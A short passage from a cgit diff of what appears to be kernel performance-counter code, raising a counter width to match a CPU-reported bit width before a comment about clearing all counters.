(counter_width < eax.split.bit_width) + counter_width = eax.split.bit_width; + } } /* clear all counters */ -- cgit v1.1